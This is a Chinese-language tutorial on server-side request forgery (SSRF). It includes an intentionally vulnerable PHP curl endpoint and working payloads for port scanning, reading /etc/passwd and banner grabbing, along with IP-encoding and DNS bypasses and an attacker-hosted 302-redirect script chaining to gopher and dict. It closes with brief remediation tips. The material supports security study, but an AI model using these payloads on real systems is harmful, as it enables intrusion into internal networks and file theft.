# 漏洞简介

SSRF(Server-Side Request Forgery,服务端请求伪造)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)攻击者通过服务端构造恶意请求链接访问内网资源

image-20200927174208581

攻击者可通过网站功能点存在的SSRF漏洞,作为跳板发起恶意请求访问内网资源

# 漏洞原理

由于服务器端提供了一个可以访问其他服务器数据的功能,例如用户提供的URL中获取图片或者文件等,但是没有对用户提供的URL进行严格过滤和限制,则导致攻击者可以恶意构造的URL让服务器端发起请求。

# 漏洞攻击范围

  • 扫描内网端口及内务服务Banner信息
  • 读取服务器文件
  • 获取内网的资产信息
  • 攻击内网Web应用
  • 利用内网应用漏洞Getshell

# 漏洞利用场景

  • 在线翻译
  • 分享
  • 订阅
  • 加载远程资源
  • 在线识图
  • ...

在由发起请求的功能点,都可能存在SSRF漏洞

# 漏洞利用

# 常见的SSRF利用协议

  • http http://127.0.0.1:22

  • dict dict://127.0.0.1:80

  • file file:///etc/passwd

  • stfp

  • tftp

  • ldap

  • gopher

# 服务端代码

<?php

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$_GET['url']);

curl_setopt($ch,CURLOPT_HEADER,0);

curl_exec($ch);

curl_close($ch);

?>
1
2
3
4
5
6
7
8
9
10
11
12
13

# Dict协议端口检测

http://localhost/ssrf1.php?url=dict://127.0.0.1:3306

image-20201012164249591

使用 dict 协议端口扫描,若端口开放有Banner信息,若没开放则没有返回信息,上图为开放了MySQL数据库3306端口

# File文件读取

http://localhost/ssrf1.php?url=file:///etc/passwd

image-20201012172536985

使用 file 协议读取服务器 /etc/passwd 文件内容

# Http Banner信息获取

http://localhost/ssrf1.php?url=http://127.0.0.1:22

image-20201012171009401

使用 http 协议请求内网地址 ssh 22端口 服务,获取到Banner信息,说明该IP开放了22端口

# 漏洞绕过方法

# 检测内网IP

若过滤了如下内网IP地址

  • 192.168.0.0/16
  • 10.0.0.0/8
  • 172.16.0.0/12
  • 127.0.0.0/8
  • 0.0.0.0

那么可以通过进制转换来绕过

  • 八进制IP 0177.0.0.1

  • 十六进制IP 0x7f000001

  • 十进制IP 2130706433

通过正则匹配不到

# DNS解析

只判断是不是内网IP也有缺陷,传入的HOST是域名形式而不是IP形式的则会绕过

http://xip.io 这个域名可以自定义域名解析自定义的内网IP地址上

例如,解析到本地127.0.0.1地址

ping www.127.0.0.1.xip.io
PING www.127.0.0.1.xip.io (127.0.0.1): 56 data bytes
64 bytes from 127.0.0.1: icmp_seq=0 ttl=64 time=0.031 ms
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.067 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.049 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.069 ms
^C
--- www.127.0.0.1.xip.io ping statistics ---
4 packets transmitted, 4 packets received, 0.0% packet loss
round-trip min/avg/max/stddev = 0.031/0.054/0.069/0.015 ms
1
2
3
4
5
6
7
8
9
10

若想解析到内网192.168.1.1地址上,则改域名为 192.168.1.1.xip.io

# URL解析

后端如果对传入的URL进行解析,则可能会绕过

http://www.baidu.com@127.0.0.1 解析这个地址则会解析到本地127.0.0.1地址

# 301/302跳转

这个方法绕过需要一些条件

  • 检测参数是否为内网IP地址
  • 使用了CURL方法,CURLOPT_FOLLOWLOCATION 为 true,跟随跳转

能利用跳转的协议

  • http/https
  • dict
  • gopher

# 服务端代码

<?php                                                                                                                                                
function curl($url){                                                         
    $ch = curl_init();                                                       
    curl_setopt($ch, CURLOPT_URL, $url);                                     
    curl_setopt($ch, CURLOPT_HEADER, 0);                                     
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);//根据服务器返回 HTTP 头中的 "Location: " 重定向 
    curl_exec($ch);                                                     
    curl_close($ch);                                                         
}                                                                            
$url = $_GET['url'];                                                         
echo $url;                                                                  
curl($url);
1
2
3
4
5
6
7
8
9
10
11
12

# 攻击者利用跳转的代码

<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 协议跳转利用

# http/https
http://xxxxx.com/ssrf.php?url=http://vps的IP/302.php?schema=http&ip=127.0.0.1&port=80
# dict
http://xxxxx.com/ssrf.php?url=http://vps的IP/302.php?schema=dict&ip=127.0.0.1&port=29362&query=info
# gopher
http://xxxxx.com/ssrf.php?url=http://vps的IP/302.php?schema=gopher&ip=127.0.0.1&port=2333&query=66666
1
2
3
4
5
6

# 漏洞修复建议与总结

  • 限制请求端口只能为80端口或者业务端口,限制放问只能通过 http/https 协议的请求
  • 禁止请求内网IP或资源
  • 屏蔽所有返回的信息

# 常见出现SSRF漏洞函数

file_get_contents()
fsockopen()
curl_exec()
1
2
3

当然还可以通过其他骚操作利用SSRF,参考链接:https://mohen.blog.csdn.net/article/details/108941738

# 参考文章

https://wiki.wgpsec.org/knowledge/web/csrf-ssrf.html

https://blog.csdn.net/qq_44632668/article/details/102631585

https://blog.csdn.net/qq_44632668/article/details/102631585